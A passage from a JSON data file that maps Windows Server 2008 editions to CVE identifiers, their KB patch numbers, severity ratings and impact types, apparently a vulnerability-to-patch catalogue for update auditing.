Execution"},{"cve":"CVE-2008-5416","kb":"960089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 for 32-bit Systems (Server Core installation)":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-5416","kb":"960089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2506212","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 for 32-bit Systems Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3906","kb":"2901674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2898855","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126593","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3158991","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197655","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3198234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012583","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0101","kb":"4011981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4014793","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4018556","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019204","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041671","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8462","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4021903","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022010","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4022748","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4039384","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038874","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4039038","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056615","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056759","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4101477","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4056564","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093478","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8120","kb":"4131188","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4134651","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4463097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4458010","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467706","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467706","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4134651","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480968","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499149","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493471","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534303","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537810","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541506","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571730","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571730","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003210","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003210","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003661","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5004955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005090","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005563","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006736","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-20569","kb":"5029318","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026408","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028222","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041850","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043135","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048710","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24985","kb":"5053888","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053888","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055609","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058449","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058449","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061026","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063888","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063888","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2506212","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3906","kb":"2901674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126041","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3158991","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-7255","kb":"3198234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012583","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0101","kb":"4011981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4014793","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4018556","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019204","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041671","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4052303","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8469","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022010","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4022748","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4039384","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4039384","severity":"Important","impact":"Information 